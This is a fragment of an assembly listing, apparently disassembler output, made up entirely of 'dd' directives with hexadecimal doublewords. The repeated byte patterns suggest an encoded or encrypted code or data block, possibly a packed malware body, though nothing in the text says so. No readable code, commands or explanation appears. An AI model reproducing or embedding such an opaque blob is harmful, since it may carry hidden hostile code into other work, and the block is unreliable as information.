		dd 5011E2D9h, 0D3D5E53Dh, 2A5AD1D1h, 2A5A2E2Eh,	2ADE2E2Eh
		dd 2A2E2E2Eh, 2A522E2Eh, 2AD12E2Eh, 2A5C2E2Eh, 0DD812E2Eh
		dd 2AF1945Ah, 0C4522E2Eh, 2A90A3F1h, 0DD812E2Eh, 2AD11738h
		dd 0D5502E2Eh, 2AD1D1D0h, 0D5522E2Eh, 0D1A4A4D1h, 2A5AD5BBh
		dd 0C4522E2Eh, 0D090A3F1h, 2A5AD1D1h, 0DD812E2Eh, 2A5CF93Ah
		dd 0D9812E2Eh, 25115489h, 922E2E2Ah, 0A4D1D0E1h, 96C339C9h
		dd 0A4D1D1F6h, 525D39C1h, 52B9C93Dh, 2ED125ACh,	52A189C4h
		dd 2ED13DACh, 8	dup(2EA189C4h),	65A189C4h, 0B9D19059h
		dd 2E905989h, 2	dup(2EA189C4h),	90A189C4h, 7CDDB9D1h, 0EFD1D1D0h
		dd 0DDD1D0FCh, 5FD9A42Eh, 81D1D1D9h, 582E2E3Fh,	1C5CD190h
		dd 0C1D1D147h, 2ED239B9h, 64A9522Eh, 812E3F99h,	2ED1D0FDh
		dd 3CDE2E2Eh, 3C812E2Eh, 9F812E2Eh, 0DDD1D1F6h,	390D545Ch
		dd 0D9D0FA34h, 21D1D0FDh, 31812E2Eh, 73D1D0FAh,	64D1D0FAh
		dd 522E3F99h, 52D12DACh, 5281D511h, 0B981DB11h,	0D191EC22h
		dd 0D2DDAC52h, 5A9C5819h, 0D291D994h, 5A9C5819h, 50102D94h
		dd 5A2E2E30h, 0D2102D94h, 5A9C5819h, 52262D94h,	0D2D32DACh
		dd 0D552F7A5h, 0D03AD3A5h, 0D0130A39h, 0D0136D39h, 0D0134939h
		dd 0D013A539h, 0DDD1D1D5h, 91A41154h, 0DDD1905Bh, 0E5A41154h
		dd 0DDD1905Bh, 0E1A41154h, 0DDD1905Bh, 91A41154h, 0D72D9458h
		dd 0DE3AD3A4h, 0D054D16Fh, 0C9D53A89h, 0DA29945Ch, 0F92E2E2Eh
		dd 39D1D1D5h, 0D8D1DFE0h, 0D188D1D1h, 2E52DDA5h, 5252D7A5h
		dd 39D13DACh, 32D1C16Dh, 8839D190h, 8088D1D1h, 52BBD1BBh
		dd 392E2DACh, 2ED1C1B3h, 0C91144DEh, 812E1939h,	0E82FCD39h
		dd 0D1D1D1D2h, 0D3E2D5A4h, 393D945Ch, 39D1DC92h, 52D1D8D7h
		dd 0CDD12DACh, 81D1905Bh, 1DF6EC39h, 0C1D1D1DDh, 52299458h
		dd 18D12DACh, 805A8412h, 5C5211E2h, 0AF812D94h,	0AE51D5B7h
		dd 0D191D5B7h, 551144DEh, 81D1D1D1h, 0D3D9A42Eh, 0C4BBD1BBh
		dd 55900E89h, 81D1D1D1h, 0D3D9A42Eh, 0C4BBD1BBh, 59900E89h
		dd 2ED1D1D1h, 81512E2Eh, 0DBD9A42Eh, 59DDA42Eh,	2ED1D1D1h
		dd 81512E2Eh, 0DBD9A42Eh, 0DDDDA42Eh, 0A4D1D1D5h, 2AC42ED9h
		dd 2A522E2Eh, 2AD12E2Eh, 2A812E2Eh, 2A2E2E2Eh, 0D5522E2Eh
		dd 2AC4A4D3h, 2A812E2Eh, 2A5A2E2Eh, 0D03A2E2Eh,	58D1D1D1h
		dd 52B92994h, 52D105ACh, 525AD1F1h, 5AD9D571h, 81582994h
		dd 0D1D9A42Eh, 3985C42Eh, 3AD0F226h, 5A945AD8h,	5258CD91h
		dd 2ED12DACh, 2E5ADDA1h, 2E5AD9A1h, 522ED5A1h, 522E1DACh
		dd 52D3D5A9h, 0D1C6D5A9h, 2EA42ED1h, 2EA3D5C4h,	2E5AC1A1h
		dd 2E2EC9A1h, 39A3D9C4h, 0E3D1DA68h, 391DA42Eh,	5AD1DA44h
		dd 5A9C5AD1h, 5A581D84h, 585A91D1h, 50945AD0h, 52D3D1E9h
		dd 39A4D1E9h, 18D0F334h, 805A8412h, 0D1C1A42Eh,	5AE2D5A4h
		dd 399C5AD1h, 5AD1D5C2h, 0D93110D1h, 0DD5AD15Ah, 0D2D9945Ah
		dd 399C5AD0h, 0A5D0F3B2h, 812E2E2Eh, 0A5AD545Ch, 2E2E2E2Eh
		dd 2E522E2Eh, 2E2E2E2Eh, 0D9382E2Eh, 2ED1D1D1h,	2E5A2E2Eh
		dd 0D1812E2Eh, 0D95AD1BBh, 2E2EE12Eh, 2E522E2Eh, 2ED12E2Eh
		dd 0A52E2E2Eh, 0F32E2E2Eh, 8154D1D0h, 0A5AD545Ch, 0D12E2E2Eh
		dd 915AD63Ah, 0EA2D9458h, 5AF4A2D9h, 0D72ED99Ch, 0C188D1D1h
		dd 52D1D1C1h, 5AD12DACh, 5258D99Ch, 18D1D5B1h, 5A5A8412h
		dd 915ADD94h, 0EA2D9458h, 5AA2D599h, 0EA5ADD9Ch, 10A3D999h
		dd 5A81D331h, 0C95CDD9Ch, 0D1945A87h, 915AD63Ah, 0EA3D9458h
		dd 0EAD9DD59h, 0D9D9DD59h, 39D1D1D1h, 0C4D1D1D2h, 5290A3FDh
		dd 2ED12DACh, 8016D8A5h, 3AD9945Ah, 91945AD6h, 0EA2D9458h
		dd 2DA2D599h, 5AD99C5Ah, 915AD99Ch, 0EA2D9458h,	5AA2D599h
		dd 5A2ED99Ch, 0CA52D99Ch, 0FD88D1D0h, 0A1BBF1BBh, 0DDD1D0CAh
		dd 3AC1945Ah, 5A945AD8h, 5258CD91h, 5AD12DACh, 522E2D94h
		dd 0D12E05ACh, 3A05A42Eh, 39A42EC7h, 26D1D306h,	0F15A2E2Eh
		dd 815CD1BBh, 0DDCB9339h, 26C1945Ah, 81812E2Eh,	26DDA42Eh
		dd 3A582E2Eh, 5A945AD8h, 5258CD91h, 2ED12DACh, 2E5ADDA1h
		dd 2E5AD9A1h, 262ED5A1h, 26522E2Eh, 0BB2E2E2Eh,	26642ED1h
		dd 26392E2Eh, 26EA2E2Eh, 5AA42E2Eh, 26261154h, 26582E2Eh
		dd 265A2E2Eh, 0D1812E2Eh, 262ED1BBh, 26392E2Eh,	26382E2Eh
		dd 26EA2E2Eh, 26A42E2Eh, 265A2E2Eh, 2E392E2Eh, 26642E2Eh
		dd 5A2E2E2Eh, 52182D94h, 2ED12DACh, 3A5AD4A4h, 0EA945AF5h
		dd 51A3C194h, 185AD1F1h, 2E5A8412h, 0DD2EC5A4h,	6984128Ch
		dd 3ED1C1C9h, 3ED12E2Eh, 3E912E2Eh, 3E5A2E2Eh, 26EA2E2Eh
		dd 3DA22E2Eh, 3E2E2E3Eh, 26EA2E2Eh, 26A42E2Eh, 26D12E2Eh
		dd 26912E2Eh, 3EE22E2Eh, 3EEA2E2Eh, 3E5A2E2Eh, 3E5C2E2Eh
		dd 0D1812E2Eh, 0A32D545Ch, 2652D190h, 1F812E2Eh, 68D1D0C4h
		dd 2ED1D1D3h, 2E39812Eh, 0D2D1D1D1h, 3D2ED3BBh,	0D5392E2Eh
		dd 2E11545Ch, 3DBB812Eh, 0D1392E2Eh, 3C59642Eh,	52D1D0C5h
		dd 2E2E25ACh, 2E6C522Eh, 3DA4D12Eh, 91392E2Eh, 2E88D1D1h
		dd 52915A2Eh, 3D2E25ACh, 0B1392E2Eh, 0D1D1D1C1h, 0FF5D545Ch
		dd 0DDD1D0C5h, 3D5D545Ch, 5A5C2E2Eh, 3D3D1554h,	3D592E2Eh
		dd 3D5B2E2Eh, 3D592E2Eh, 3D172E2Eh, 585A2E2Eh, 3D5AC199h
		dd 2EB72E2Eh, 2E3AD12Eh, 0D0DED32Eh, 597A3C39h,	39D1905Bh
		dd 39D0C292h, 0D0D0C2CBh, 2E7A6A39h, 0D0D1D1D1h, 2E7A7839h
		dd 0D0D1D1D1h, 2E7A4639h, 0D0D1D1D1h, 2E7A5439h, 0D0D1D1D1h
		dd 0A57AA239h, 39D1905Bh, 2ED0C37Ah, 0D0D1D12Eh, 2E7A9139h
		dd 0D0D1D1D1h, 2E7AFF39h, 0D0D1D1D1h, 2E7ACD39h, 0D0D1D1D1h
		dd 2E7ADB39h, 0D0D1D1D1h, 0B57B2939h, 39D1905Bh, 0D2D0C3E1h
		dd 0D0B9D1D1h, 597B1439h, 39D1905Bh, 39D0C3CAh,	56D0C023h
		dd 0D0D1D17Bh, 7B39D1BBh, 3988D1D1h, 0D0D0C04Eh, 0D039D1BBh
		dd 0CD39D1BBh, 0D0D1D17Bh, 9039D1BBh, 39A42ED1h, 2ED0C092h
		dd 2E6C522Eh, 0D0A4D12Eh, 0B1786F39h, 39D1905Bh, 2ED0C0C5h
		dd 0D0DED02Eh, 59785B39h, 39D1905Bh, 39D0C131h,	0D0D0C166h
		dd 2E788939h, 0D0D1D1D1h, 2E789739h, 0D0D1D1D1h, 2E78E539h
		dd 0D0D1D1D1h, 2E78F339h, 0D0D1D1D1h, 0A578C139h, 39D1905Bh
		dd 2ED0C199h, 0D0D1D12Eh, 2E790C39h, 0D0D1D1D1h, 2E791A39h
		dd 0D0D1D1D1h, 2E796839h, 0D0D1D1D1h, 2E797639h, 0D0D1D1D1h
		dd 0B5794439h, 39D1905Bh, 2ED0DE1Ch, 0D0D1D12Eh, 5979B339h
		dd 39D1905Bh, 39D0DE69h, 0D0D0DE5Eh, 0C439D1BBh, 0D0D1D179h
		dd 9039D1BBh, 39A42ED1h, 0D0D0DEEDh, 1939D1BBh,	0D0D1D176h
		dd 7639D1BBh, 0D088D1D1h, 395BB5B9h, 2ED0DF31h,	0D0D1D12Eh
		dd 0B176A939h, 39D1905Bh, 39D0DF1Fh, 2ED0DF74h,	2E3AD12Eh
		dd 2E58912Eh, 2E545A2Eh, 0D254EA2Eh, 0C43D615Ch, 3D90A3E9h
		dd 3DB72E2Eh, 76B72E2Eh, 3D26D1D1h, 64592E2Eh, 3D2E3D15h
		dd 0BBB72E2Eh, 3DBB39D0h, 0C4B72E2Eh, 3D90A3E9h, 0C1B72E2Eh
		dd 3D21945Ch, 3E522E2Eh, 69812E2Eh, 3D2E2E3Dh, 0E8392E2Eh
		dd 3D88D1D1h, 0D5522E2Eh, 3DD3A5D1h, 68392E2Eh,	0D1D1D1D3h
		dd 5238D4A4h, 0D481D511h, 0D4D1D076h, 58D1D376h, 50D37C50h
		dd 5AD36069h, 5AD36051h, 5258299Ch, 5AD36069h, 3AD36051h
		dd 0B59416D6h, 5AD1D1D1h, 0D158259Ch, 342DA42Eh, 0C1D19184h
		dd 52841218h, 72D1DDACh, 0D1D1D1D0h, 72D9A42Eh,	51D1D1D0h
		dd 52D19032h, 31D12DACh, 2ED1905Bh
		dd 3 dup(2EA189C4h), 32A189C4h,	0EDD1D190h, 0D1D1D1D0h
		dd 51DE88D1h, 0D1D19032h, 0D12DB452h, 5235A42Eh, 0D4D13DACh
		dd 2ED1D151h, 392E35A4h, 0D1D0DA98h, 8138D4A4h,	2E35A42Eh
		dd 3932ADC4h, 0EAD0DBA2h, 10A23594h, 0D158D339h, 392EDFA4h
		dd 5AD0DBE5h, 5258299Ch, 585AD911h, 0D152D590h,	0DD25945Ah
		dd 1121945Ah, 5AD1D0C5h, 5A5AD598h, 2D5847C5h, 5AD1905Bh
		dd 745CD598h, 39D1D0D8h, 5AD0D87Ah, 0D12ED598h,	81D5C1B9h
		dd 0DD01642Eh, 0A415545Ch, 5A642E09h, 2F5AD598h, 5A582E2Eh
		dd 2F5AD598h, 0D5BB2E2Eh, 2FD1D1D0h, 2F812E2Eh,	522E2E2Eh
		dd 2FD10DACh, 2F542E2Eh, 5A812E2Eh, 0AC5CD598h,	0DDD1D0D9h
		dd 8705545Ch, 5AD1D0D9h, 515AD598h, 3AD19032h, 2E51B9C6h
		dd 6139D9A4h, 76D1D1D0h, 68D1D1D0h, 0DDD1D0D6h,	2ED9A42Eh
		dd 0B054582Eh, 0C1D1D1A0h, 2E817452h, 2E58912Eh, 2E545A2Eh
		dd 39D9EA2Eh, 2ED1D1D2h, 8111B82Eh, 112E2E2Fh, 2ED1D0C5h
		dd 2E11B82Eh, 0D511B82Eh, 65D1905Ah, 0C9D1D1A1h, 0D589545Ah
		dd 52D3A5D1h, 72D12DACh, 52D1D1D0h, 0D181D511h,	0AD2DA42Eh
		dd 0C1D191B2h, 52841218h, 2E52F13Dh, 5039C5A4h,	91512DACh
		dd 39393981h, 0D1D0D41Dh, 0A43D945Ch, 2EA42E2Dh, 0D12E25A4h
		dd 0D25AADA5h, 0A2512D94h, 0D2945A80h, 3 dup(0D2DE3194h)
		dd 2EDE3194h, 0D139D9A4h, 398888D1h, 0A4D0D4C4h, 0BBF53AD3h
		dd 0D1D0BBD1h, 915AD63Ah, 0D92D9458h, 0B0BBC4ACh, 594C9739h
		dd 910F3AD0h, 0D72D9458h, 0B0BBC4ACh, 594CC639h, 0D10F3AD0h
		dd 915AD63Ah, 0C12D9458h, 0B0BBC4ACh, 594D3939h, 0BB0F3AD0h
		dd 0DDA9B9D5h, 0D5A41154h, 0DD5AA1B9h, 0D6A41154h, 0DD52D1D0h
		dd 37A41154h, 3D1D0D3h,	0DDD1D0D3h, 5421545Ah, 642E2A39h
		dd 0D02E2C39h, 8116D1D1h, 2C5CD1BBh, 2E812E2Eh,	0D0A1DDC4h
		dd 0D352D7A5h, 2C2EC7A4h, 0D1B92E2Eh, 0D51552D1h, 2C5AC9A4h
		dd 0D22E2E2Eh, 2A1E54DEh, 2AD12E2Eh, 2A912E2Eh,	2A5A2E2Eh
		dd 5CEA2E2Eh, 142A0D54h, 0DDD1D0D0h, 0B531642Eh, 0D1D1905Ah
		dd 641552D1h, 0B52E2A31h, 0D1D1905Ah, 2C1552D1h, 2E392E2Eh
		dd 2CA1F9C4h, 5C812E2Eh, 2C5CD190h, 9812E2Eh, 5AD1D0D1h
		dd 2CD1D14Ah, 0C4812E2Eh, 2C90A17Dh, 0D0812E2Eh, 0C1B9D3BBh
		dd 4C29642Eh, 2CD1D1D1h, 5C812E2Eh, 2C5CD190h, 0C5812E2Eh
		dd 2FD1900Ch, 16812E2Eh, 2CD1D14Bh, 0FC812E2Eh,	2FD1D0D1h
		dd 2 dup(2F812E2Eh), 0D2812E2Eh, 0DEBBD1BBh, 0D1D1BBD1h
		dd 0D3B9D1BBh, 0C451D1D1h, 1B90A181h, 68D1D12Fh, 0C4D1D12Fh
		dd 0A490A1EDh, 2EA42EDDh, 2EA1C1C4h, 2EA1D5C4h,	52A1F9C4h
		dd 91D12DB4h, 0EA2D9458h, 0DEA22594h, 5A52D16Fh, 5A5CD99Ch
		dd 0A1182994h, 5081D190h, 5A2E2E2Eh, 0C4512D94h, 0D990A1E9h
		dd 9139D5BBh, 0EA359458h, 5AA43194h, 8E5C3594h,	5CD1D12Ch
		dd 2E813994h, 0A4A031C4h, 0D134390Dh, 2E8188D1h, 0BB2E09A4h
		dd 0D5C42ED1h, 2DD1D1D0h, 0D1812E2Eh, 0D15DC42Eh, 91317452h
		dd 0D53D9458h, 2CD1D1D0h, 5C812E2Eh, 2C5CD190h,	47812E2Eh
		dd 0FC88D1D1h, 2CD1D12Dh, 0DD812E2Eh, 0BB31545Ah, 0C43F39D1h
		dd 9090A181h, 44D1D12Ah, 88D1D1h, 0C4E52E31h, 0C4D1D12Ah
		dd 2D90A17Dh, 0D0812E2Eh, 0DD2A7B39h, 0D5D14638h, 0C439545Ch
		dd 0C490A179h, 7990A179h, 2E2E2E2Bh, 2E39812Eh,	2E81882Eh
		dd 2B39812Eh, 0DD52D1D1h, 2E495416h, 2ED1952Eh,	0F95CD12Eh
		dd 0A1BBD0BBh, 0D52ED190h, 2CD1D1D0h, 0D1812E2Eh, 2F5DC42Eh
		dd 5C812E2Eh, 2F5CD190h, 0AF812E2Eh, 2FD1D128h,	0DD812E2Eh
		dd 9B29545Ah, 2D2E2E2Bh, 71D1903Ah, 4BD1905Fh, 2D2E2E2Fh
		dd 5DD1903Ah, 0D1D1905Fh, 0DD28B139h, 2925545Ch, 2D2E2E28h
		dd 71D1903Ah, 0C7D1905Fh, 0D539D1D1h, 0DDD1D129h, 0D1D9A42Eh
		dd 64D5D9B9h, 0DE2E2BFDh, 2B93546Fh, 64812E2Eh,	5F2E2BFDh
		dd 282ED190h, 69812E2Eh, 3DD1905Fh, 0C5D1D1B1h,	2F2DAC52h
		dd 0DDD1D127h, 64E05417h, 0DD2E2BFDh, 0DBFD642Eh, 64F5545Ch
		dd 0D12E2BE3h, 64F5545Ch, 0D92E2BE5h, 0A15CD1BBh, 0DDD1D127h
		dd 64F16C52h, 0DD2E2BFDh, 64FD642Eh, 2 dup(642E2BFDh)
		dd 0DD2E2BF1h, 64A41154h, 642E2BF1h, 0DD2E2BFDh, 1DA41154h
		dd 6CD1D1D0h, 39D1D1D0h, 0DDD1D125h, 0D1D9A42Eh, 0E9BB88D1h
		dd 912E2E01h, 0A62E2E2Fh, 0C1D1D18Fh, 0D5D239B9h, 0D1D8A4D1h
		dd 0E55888D1h, 372E2E2Fh, 0E5D1D122h, 1F2E2E2Fh, 0E5D1D122h
		dd 182E2E2Fh, 0DDD1D122h, 0FCE5642Eh, 2ED191A2h, 0C12E882Eh
		dd 0DDDDAC52h, 0D129945Ch, 523AD3A4h, 5281D511h, 5281DB11h
		dd 9C81CB11h, 0C5D191A7h, 80841218h, 52D9A42Eh,	0D1D12DACh
		dd 993AD3A4h, 0DE2D9458h, 5152D16Fh, 183AD1F1h,	805A8412h
		dd 91B45280h, 0DE2D9458h, 3954D16Fh, 20D123F4h,	2E88D1D1h
		dd 0DD39D9A4h, 0D1C19C5Ah, 815C81A5h, 0DD5E9DB9h, 3A299C5Ah
		dd 0D1B452D5h, 5829945Ah, 5A3A50C5h, 945CC19Ch,	0DDD1D120h
		dd 5AC9945Ah, 0F65CC59Ch, 0DDD1D120h, 9129945Ah, 0DE2D9458h
		dd 0D154D16Fh, 915AD63Ah, 0E8259458h, 0DEAE2594h, 0DE5AD16Fh
		dd 2E5AD16Fh, 815AC1A4h, 0DD25E639h, 3AA41154h,	915D3AD5h
		dd 0DE2D9458h, 3A54D16Fh, 0DE945ABFh, 0DE52D16Fh, 0D252D16Fh
		dd 3 dup(0D25A2994h), 0DD3A2994h, 52DD945Ah, 91D129B4h
		dd 0DE2D9458h, 0D052D16Fh, 5BD1D1D1h, 0DED959D8h, 0D054D16Fh
		dd 0D1115489h, 915AD63Ah, 0D52D9458h, 0DE5A82ACh, 5152D16Fh
		dd 5A5AD1F1h, 0DE5CDD9Ch, 5154D16Fh, 3A5AD1F1h,	5A945AC5h
		dd 5BD2DD9Ch, 0D2D959D8h, 58E2D6AFh, 2E522994h,	0D02ED9A4h
		dd 0DBD33A89h, 2EC5A42Eh, 0D1D1D1D1h, 0DD546F39h, 0DEC9945Ah
		dd 0BBD14454h, 81A42EDBh, 0DD210939h, 269467DEh, 0A411CA09h
		dd 0D181B9C0h, 0D18888D1h, 818888D1h, 0C5D9A42Eh, 81A41154h
		dd 812D945Ch, 0C5DDA42Eh, 81A41154h, 810D945Ch,	0C521C9B9h
		dd 54A41154h, 81D6A411h, 813D945Ch, 0C52FF639h,	81399458h
		dd 8125945Ch, 0C52FD839h, 81399458h, 812D945Ch,	0C52C3A39h
		dd 81399458h, 8111945Ch, 0C52C1C39h, 85399458h,	0D0D1905Eh
		dd 0F1121889h, 812D945Ch, 8135945Ch, 0C5D9A42Eh, 81A41154h
		dd 8121945Ch, 3929945Ch, 0C52E2D43h, 81A41154h,	813BBB39h
		dd 543B8239h, 81DEA411h, 0F42D945Ch, 0D0D1D13Bh, 0DD121889h
		dd 5AD9AC52h, 0DEDE2D94h, 3A5AD16Fh, 0DE945A0Ch, 5A54D16Fh
		dd 5A58DD94h, 0DEDE2594h, 0DE5AD16Fh, 91EAD86Fh, 91259458h
		dd 0DE2D9458h, 5A54D16Fh, 3A912594h, 26945A66h,	5211CA09h
		dd 0B939F13Dh, 0D1D1D239h, 0E483DBBBh, 52D1D13Bh, 16D12DACh
		dd 0D1B52194h, 0D13DAC52h, 3 dup(0D1A3C2A6h), 2	dup(0D13DAC52h)
		dd 0CA29945Ah, 58D23D9Ch, 5A582994h, 5A182994h,	0D151D994h
		dd 0CEB9C2A5h, 0D6D9A42Eh, 5AD9D1B9h, 3A51D994h, 54D0BBD2h
		dd 0DDD1D136h, 29D9A42Eh, 29812E2Eh, 29D42E2Eh,	295A2E2Eh
		dd 29E22E2Eh, 0C1E22E2Eh, 2BD1D1DFh, 295A2E2Eh,	0C1E22E2Eh
		dd 0EDD1D1DFh, 29202688h, 28812E2Eh, 2B812E2Eh,	0C4222E2Eh
		dd 4390A1E1h, 2B52D190h, 3 dup(2BD52E2Eh), 0D1D42E2Eh
		dd 2B52EB3Ah, 2BD42E2Eh, 51D42E2Eh, 2A2A5574h, 2A582E2Eh
		dd 0BB582E2Eh, 29DDB9D1h, 2AD12E2Eh, 29812E2Eh,	0D1812E2Eh
		dd 294029B9h, 0D02E2E2Eh, 59A9545Ch, 0DD2E2E24h, 2E25642Eh
		dd 2B40252Eh, 40D02E2Eh, 4052D190h, 285CD190h, 2E812E2Eh
		dd 2B642E2Eh, 2E2E2E2Eh, 6428C164h, 2B2E28C5h
		dd 2B2E2E2Eh, 0D52E2E2Eh, 0D1D19040h, 0CCD1D1D5h, 85D1D135h
		dd 5C29545Ch, 4228E954h, 0DDD1D19Ch, 0D1E5642Eh, 523AD3A4h
		dd 0D181D511h, 7C2DA42Eh, 0C1D19152h, 52841218h, 0F12EFD3Dh
		dd 0B9D1D132h, 76D1D601h, 0C12E2E19h, 0D2299458h, 0EC3AD1D1h
		dd 58D1D239h, 393A0594h, 18D1D1D2h, 525A8412h, 0B9B9C93Dh
		dd 0B9905EBDh, 0B9905E41h, 0D2905E61h, 0D2D22994h, 0D2D22194h
		dd 0E9E23994h, 5ED1D1D5h, 0D1D1D190h, 915AD63Ah, 0D22D9458h
		dd 5E3D52DEh, 1A5CD190h, 0AFD1D130h, 2ED1D1ADh,	8539812Eh
		dd 0D1D1D1ADh, 0FB5481B9h, 0C12E2E16h, 2E215458h, 2D6C522Eh
		dd 25812E2Eh, 0D1D19052h, 62D1D1D3h, 0C5D1D130h, 0E729545Ch
		dd 64D1D130h, 0DD2E2D21h, 2E3D7452h, 2A39D12Eh,	2E522E2Eh
		dd 0D1B9D12Eh, 64D1D1D3h, 0C12E2D21h, 2A315458h, 2EEC2E2Eh
		dd 2DD1D12Eh, 2ED12E2Eh, 2D32392Eh, 2A582E2Eh, 2A522E2Eh
		dd 2A582E2Eh, 2A2E2E2Eh, 2D3A2E2Eh, 2DD22E2Eh, 0AD382E2Eh
		dd 76D1D1DBh, 0D4D1D1D0h, 0DDD1D131h, 0C9D9A42Eh, 2AD19021h
		dd 0C9812E2Eh, 0D1D19021h, 2AD5D0B9h, 26812E2Eh, 262E2E2Eh
		dd 512E2E2Eh, 51D1D080h, 0C1D1D080h, 51D1D1DFh,	0C1D1D080h
		dd 0EDD1D1DFh, 26202688h, 0D5B92E2Eh, 25D1D10Eh, 0D1D1D10Fh
		dd 2ED151B9h, 0C45C812Eh, 7E900E9Dh, 4CD1D10Fh,	26D1D10Fh
		dd 42A12E2Eh, 0D050D190h, 26A2D1D1h, 2AB12E2Eh,	52582E2Eh
		dd 4026056Ch, 2	dup(4052D190h),	262ED190h, 582E2E2Eh, 26245554h
		dd 262E2E2Eh, 2A812E2Eh, 55812E2Eh, 0D1D19043h,	26D1D1D5h
		dd 99812E2Eh, 5C3D545Ch, 0DB247554h, 0DDD1D196h, 0D171642Eh
		dd 525888D1h, 52D12DACh, 0D181D511h, 0E12DA42Eh, 0C1D1915Ah
		dd 52841218h, 5270F53Dh, 0C4D121B4h, 8190A11Dh,	8139945Ch
		dd 0C435945Ch, 8190A119h, 0DD0DAD39h, 39B9D1BBh, 58D10C5Ch
		dd 5A5A3184h, 5BD2259Ch, 0DED53594h, 1835946Fh,	505A8412h
		dd 0D4D40D3Dh, 0DDD1D10Dh, 0D4D9A42Eh, 2AED6F88h, 2A522E2Eh
		dd 2AD12E2Eh, 0F1812E2Eh, 0C9D19045h, 0C1D19045h, 0D9D19045h
		dd 2AD19045h, 2	dup(2A812E2Eh),	0D9812E2Eh, 2A5CD1BBh
		dd 2A812E2Eh, 2A392E2Eh, 64582E2Eh, 2AD1D10Bh, 2ADA2E2Eh
		dd 5C2E2E2Eh, 2A2A0D54h, 35812E2Eh, 2AD19042h, 5C812E2Eh
		dd 2A2A0D54h, 5812E2Eh,	2AD19042h, 2A812E2Eh, 2A5A2E2Eh
		dd 2AD22E2Eh, 2A5A2E2Eh, 2AD52E2Eh, 2ADE2E2Eh, 36522E2Eh
		dd 2AD1D108h, 4D812E2Eh, 2AD19042h, 5C812E2Eh, 0A52BE154h
		dd 0DDD1D192h, 52FD642Eh, 52D12DACh, 0D181D511h, 0FF2DA42Eh
		dd 0C1D1915Eh, 52841218h, 0C45CC93Dh, 0D190A105h, 0D1AE99ADh
		dd 2EAEEBADh, 2E2E21A4h, 0E3929A4h, 398039BCh, 52D1D1D2h
		dd 0C45CC93Dh, 0D190A105h, 2EAE92ADh, 2E2E21A4h, 0E3929A4h
		dd 398039BCh, 0C4D1D1D2h, 0D190A105h, 0D1AE98ADh, 2EAEEAADh
		dd 2E2E21A4h, 0E3929A4h, 0BB8039BCh, 90A9B92Eh,	0D170B5D1h
		dd 0DD8080D1h, 0D1868782h, 2E2DB452h, 5939D9A4h, 0DDD1900Ah
		dd 2E2EC33Ah, 52583184h, 3A2E2D9Ch, 2E9C52F4h, 45B9CC3Ah
		dd 392ED190h, 0DD2E4F01h, 2EB45A12h, 0D95A11E2h, 52071139h
		dd 25D125ACh, 5AD99C5Ah, 0B958DD9Ch, 0D1914267h, 0C908D039h
		dd 0D12D9458h, 2E2EDFA5h, 39A175C4h, 2ED107BAh,	0D1A359B9h
		dd 5D8080D1h, 0B1D1D1D0h, 2F11E288h, 58812E2Eh,	2E2F8D54h
		dd 2E8D545Ah, 0DD393DA4h, 2EB45A12h, 795A11E2h,	5AD19032h
		dd 0D15A2594h, 0D12ECAA4h, 5852D1D1h, 5A945AD9h, 2E58D99Ch
		dd 522E2DA4h, 0DD81C511h, 522DB452h, 3AD1D5B1h,	58945AD7h
		dd 525A3D94h, 0D181DD11h, 373DA42Eh, 0D1D19145h, 0C939D1BBh
		dd 52259C5Ah, 0D1D1D9A9h, 0F825945Ch, 0DDD1D105h, 793279B9h
		dd 0D5D19032h, 5088D1D1h, 0B9D0453Dh, 11903279h, 11D1D049h
		dd 79D1D049h, 54D19032h, 0C1D1D1D0h, 2F3279B9h,	2FD12E2Eh
		dd 2F912E2Eh, 2F522E2Eh, 11C12E2Eh, 0BDD1D049h,	112E2E2Fh
		dd 11D1D049h, 79D1D049h, 0D0D19032h, 0B92ED1D1h, 0C1903279h
		dd 0B85ABDA2h, 11D04911h, 0D1D1D049h, 112D945Ah, 54D1D049h
		dd 2FD1D1D0h, 52812E2Eh, 2F2FB974h, 2F912E2Eh, 2F522E2Eh
		dd 2FC12E2Eh, 99B82E2Eh, 2F259458h, 2F812E2Eh, 2FB82E2Eh
		dd 49B82E2Eh, 0D1D1D1D0h, 11B9545Ah, 0D1D1D049h, 793AD3A4h
		dd 0B1D19032h, 0DDD1D101h, 0C1D9A42Eh, 0CE11E42Eh, 0C1D1D1EBh
		dd 45B9CB3Ah, 0D85CD190h, 91D1D1EBh, 0C12D9458h, 0B85AAEACh
		dd 0B8D04911h, 0AED04911h, 0C1D1D1E8h, 112D945Ah, 79D1D049h
		dd 52D19032h, 39D12DACh, 0DD2E1280h, 82C1EC52h,	525A8687h
		dd 522EE93Dh, 0CD2E35ACh, 0BD19044h, 0DED1D101h, 39C99467h
		dd 2ED11F88h, 58390DA4h, 2E5A2194h, 2E2EC5A4h, 0A45C21A4h
		dd 2EA42E25h, 5A3209C4h, 5A9958D8h, 2E58D998h, 583205C4h
		dd 2E2E0194h, 0B4391DA4h, 0DDD1D11Ch, 0B9D9A42Eh, 449047DDh
		dd 322ED190h, 32D1D190h, 80D1D190h, 0DDD1D11Dh,	44B9C33Ah
		dd 0D139D190h, 0D19D5417h, 648054DEh, 2E2E2C95h, 5215522Eh
		dd 0D32CE56Ch, 0C45CD5BBh, 6790A3F1h, 672CCB54h, 672CC854h
		dd 0C12CC954h, 5C2E2E2Ch, 0FE2C8154h, 0FDD1D1E5h, 67DE9F3Ah
		dd 672CCB54h, 672CC854h, 642CC954h, 5C2E2CF5h, 0E2C8154h
		dd 0F9D1D1E2h, 5C2EF33Ah, 6A2C8154h, 0C1D1D1E2h, 0D095545Ah
		dd 0C9D1D1D1h, 7DDDAC52h, 52D1D1D3h, 72D12DACh,	39D1D1D0h
		dd 0D4D118B3h, 5BD1D072h, 3A59219Ch, 0E19416D6h, 5AD1D1A4h
		dd 5A583D9Ch, 8158399Ch, 0B92ED1BBh, 39914C01h,	0D9D11959h
		dd 472ED15Ah, 0E75AD190h, 0C5D1D1E3h, 0D1F6C1B9h, 1547B9B9h
		dd 0C12E2E7Ch, 0B1299458h, 2FD19047h, 0E812E2Eh, 0A4D1D116h
		dd 0DD9D3929h, 0D12D9458h, 3F2EC1A4h, 0DD812E2Eh, 0D1259458h
		dd 2E52D7A5h, 3F2EC1A4h, 3F582E2Eh, 3F5A2E2Eh, 3FDE2E2Eh
		dd 6392E2Eh, 3F882E2Eh,	2EDE2E2Eh, 3F3F3564h, 3F5C2E2Eh
		dd 0D0EA2E2Eh, 3FD1D1E0h, 385A2E2Eh, 79D1D1E1h,	79D19032h
		dd 76D1D1D2h, 2ED1D1D2h, 0DD39812Eh, 2ED9A42Eh,	5C39812Eh
		dd 972F8D54h, 0DDD1D1E1h, 2E89642Eh, 528D392Eh,	52D12DACh
